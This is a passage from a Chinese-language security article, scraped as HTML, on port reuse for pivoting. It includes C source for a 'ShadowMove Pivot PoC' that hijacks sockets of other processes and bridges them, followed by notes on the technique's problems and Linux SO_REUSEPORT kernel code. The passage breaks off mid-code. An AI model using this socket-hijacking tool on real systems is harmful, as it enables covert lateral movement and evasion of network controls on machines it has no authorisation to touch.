class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">sockaddr_in</span> <span class="code-snippet__title">sockaddr</span>;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            DWORD len;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            len = <span class="code-snippet__keyword">sizeof</span>(SOCKADDR_IN);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* It this the socket? */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ( getpeername( targetSocket, (SOCKADDR *) &amp;sockaddr, &amp;len ) == <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">              <span class="code-snippet__keyword">if</span> ( <span class="code-snippet__built_in">strcmp</span>( inet_ntoa( sockaddr.sin_addr ), dstIP ) == <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">              {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\t[*] Duplicated socket (%s)\n&#34;</span>, inet_ntoa( sockaddr.sin_addr ) );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">free</span>( needle );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">free</span>( objectNameInfo );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span>(targetSocket);</span></code><code><span class="code-snippet_outer">              }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__built_in">free</span>( needle );</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__built_in">free</span>( objectNameInfo );</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Reused from MSSQLPROXY <a href="https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp" target="_blank">https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp</a> */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">bridge</span><span class="code-snippet__params">( SOCKET fd0, SOCKET fd1 )</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> maxfd, ret;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  fd_set rd_set;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">size_t</span> nread;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> buffer_r[BUFSIZE];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  maxfd = (fd0 &gt; fd1) ? fd0 : fd1;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">while</span> ( <span class="code-snippet__number">1</span> )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    FD_ZERO( &amp;rd_set );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    FD_SET( fd0, &amp;rd_set );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    FD_SET( fd1, &amp;rd_set );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ret = select( maxfd + <span class="code-snippet__number">1</span>, &amp;rd_set, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__literal">NULL</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( ret &lt; <span class="code-snippet__number">0</span> &amp;&amp; errno == EINTR )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( FD_ISSET( fd0, &amp;rd_set ) )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      nread = recv( fd0, buffer_r, BUFSIZE, <span class="code-snippet__number">0</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( nread &lt;= <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      send( fd1, buffer_r, nread, <span class="code-snippet__number">0</span> );</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( FD_ISSET( fd1, &amp;rd_set ) )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      nread = recv( fd1, buffer_r, BUFSIZE, <span class="code-snippet__number">0</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( nread &lt;= <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* End of transmission */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( nread &gt;= <span class="code-snippet__built_in">strlen</span>( MSG_END_OF_TRANSMISSION ) &amp;&amp; <span class="code-snippet__built_in">strstr</span>( buffer_r, MSG_END_OF_TRANSMISSION ) != <span class="code-snippet__literal">NULL</span> )</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        send( fd0, buffer_r, nread - <span class="code-snippet__built_in">strlen</span>( MSG_END_OF_TRANSMISSION ), <span class="code-snippet__number">0</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      send( fd0, buffer_r, nread, <span class="code-snippet__number">0</span> );</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">( <span class="code-snippet__keyword">int</span> argc, <span class="code-snippet__keyword">char</span>** argv )</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  WORD wVersionRequested;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  WSADATA wsaData;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  DWORD dwProcessIdSrc;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  WORD dwProcessIdDst;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  LPSTR dstIP = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  LPSTR srcIP = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  SOCKET srcSocket;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  SOCKET dstSocket;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\t\t\t-=[ ShadowMove Pivot PoC ]=-\n\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* smpivot.exe [PID src] [PID dst] [IP dst] [IP src] */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* It&#39;s just a PoC, we do not validate the args. But at least check if number of args is right X) */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ( argc != <span class="code-snippet__number">5</span> )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]\n&#34;</span>, argv[<span class="code-snippet__number">0</span>] );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">exit</span>( <span class="code-snippet__number">-1</span> );</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  dwProcessIdSrc = strtoul( argv[<span class="code-snippet__number">1</span>], <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__number">10</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  dwProcessIdDst = strtoul( argv[<span class="code-snippet__number">2</span>], <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__number">10</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  dstIP = (LPSTR) <span class="code-snippet__built_in">malloc</span>( <span class="code-snippet__built_in">strlen</span>( argv[<span class="code-snippet__number">4</span>] ) * (<span class="code-snippet__keyword">char</span>) +<span class="code-snippet__number">1</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">memcpy</span>( dstIP, argv[<span class="code-snippet__number">3</span>], <span class="code-snippet__built_in">strlen</span>( dstIP ) );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  srcIP = (LPSTR) <span class="code-snippet__built_in">malloc</span>( <span class="code-snippet__built_in">strlen</span>( argv[<span class="code-snippet__number">3</span>] ) * (<span class="code-snippet__keyword">char</span>) +<span class="code-snippet__number">1</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">memcpy</span>( srcIP, argv[<span class="code-snippet__number">4</span>], <span class="code-snippet__built_in">strlen</span>( srcIP ) );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Classic */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  wVersionRequested = MAKEWORD( <span class="code-snippet__number">2</span>, <span class="code-snippet__number">2</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  WSAStartup( wVersionRequested, &amp;wsaData );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  srcSocket = findTargetSocket( dwProcessIdSrc, srcIP );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  dstSocket = findTargetSocket( dwProcessIdDst, dstIP );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ( srcSocket == <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\n[!] Error: could not attach to source socket&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span>(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\n[&lt;] Attached to SOURCE\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ( dstSocket == <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\n[!] Error: could not attach to sink socket&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span>(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[&gt;] Attached to SINK\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;============================\n[Link up]\n============================\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  bridge( srcSocket, dstSocket );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;============================\n[Link down]\n============================\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n34" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">当然上述的使用仅能针对一个服务实现定向转发，我们也可以使用反代逻辑在接收到来自A的请求后解析目标请求的地址再构建socket连接并发送请求到目标主机。</span></p><h3 cid="n35" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">可能遇到的问题</span></strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"></span></h3><p cid="n36" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">当我们使用ShadowMove套接字劫持技术实现端口复用时，也面临一些问题：</span></p><p cid="n36" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">1、socket数据存在同时被原始进程和代理进程消费的情况，一旦数据被原始进程消费后，代理进程将无法读到数据导致数据丢失。此时需要自定义数据完整性的验证逻辑。</span></p><p cid="n36" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">2、socket被关闭导致超时，需要检测socket的状态。</span></p><h3 cid="n37" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">linux kernel &gt;= 3.9 的REUSEPORT特性利用</span></strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"></span></h3><p cid="n38" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">在linux和windows中一个端口一旦被bind，那么另一个端口再去尝试bind时会报错already in use。在一定条件下也可以实现端口复用，实际在3.9版本之前，linux通过SO_REUSEADDR实现了处于TIME_WAIT状态的socket的端口实现复用绑定，但是实际生效也需要在当前socket完全释放后。</span></p><p cid="n39" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">在内核版本3.9以上，引入了SO_REUSEPORT特性，该特性允许配置了SO_REUSEPORT的进程监听同一端口，但要求第一个监听该端口的进程必须进行相应配置，否则后续监听仍将失败。</span></p><p cid="n40" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">当我们找到满足上述要求的合法进程后，面临有多个进程都 bind 和 listen 了同一个端口的时候。有客户端连接请求到来的时候就涉及到选择哪个 socket(进程)进行处理的问题。我们再简单看一下，响应连接时的处理过程。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.24693877551020407" data-s="300,640" style="" data-type="webp" data-w="490" src="https://wechat2rss.xlab.app/img-proxy/?k=92f8361f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRDWvia9tibqtz7dGq9gy57lpAdkx5ic2n1cdDQl8FTFYnzxiczE99q1ogL3Scfv4zMeN9HFC5Id1nDRw%2F640%3Fwx_fmt%3Dwebp"/></p><p cid="n40" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">查找 listen 状态的 socket 的时候需要查找该哈希表。我们进入响应握手请求的时候进入的一个关键函数 __inet_lookup_listener 来看。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__meta">//file</span>: <span class="code-snippet__string">net/ipv4/inet_hashtables.c</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">struct</span> <span class="code-snippet__string">sock *__inet_lookup_listener(struct net *net,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">struct</span> <span class="code-snippet__string">inet_hashinfo *hashinfo,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">const</span> <span class="code-snippet__string">__be32 saddr, __be16 sport,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">const</span> <span class="code-snippet__string">__be32 daddr, const unsigned short hnum,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">const</span> <span class="code-snippet__string">int dif)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__meta">//所有</span> <span class="code-snippet__string">listen socket 都在这个 listening_hash 中</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">struct</span> <span class="code-snippet__string">inet_listen_hashbucket *ilb = &amp;hashinfo-&gt;listening_hash[hash];</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">begin</span>:<span class="code-snippet__string"></span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">result</span> = <span class="code-snippet__string">NULL;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">hiscore</span> = <span class="code-snippet__string">0;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__meta">sk_nulls_for_each_rcu(sk,</span> <span class="code-snippet__string">node, &amp;ilb-&gt;head) {</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">score</span> = <span class="code-snippet__string">compute_score(sk, net, hnum, daddr, dif);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">if</span> <span class="code-snippet__string">(score &gt; hiscore) {</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">result</span> = <span class="code-snippet__string">sk;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">hiscore</span> = <span class="code-snippet__string">score;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">reuseport</span> = <span class="code-snippet__string">sk-&gt;sk_reuseport;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">if</span> <span class="code-snippet__string">(reuseport) {</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">phash</span> = <span class="code-snippet__string">inet_ehashfn(net, daddr, hnum,</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__meta">saddr,</span> <span class="code-snippet__string">sport);</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">matches</span> = <span class="code-snippet__string">1;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">}</span> <span class="code-snippet__string">else if (score == hiscore &amp;&amp; reuseport) {</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">matches++;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">if</span> <span class="code-snippet__string">(((u64)phash * matches) &gt;&gt; 32 == 0)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">result</span> = <span class="code-snippet__string">sk;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">phash</span> = <span class="code-snippet__string">next_pseudo_random32(phash);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">...</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">return</span> <span class="code-snippet__string">result;</span></span></code><code><span class="code-snippet_outer"><span 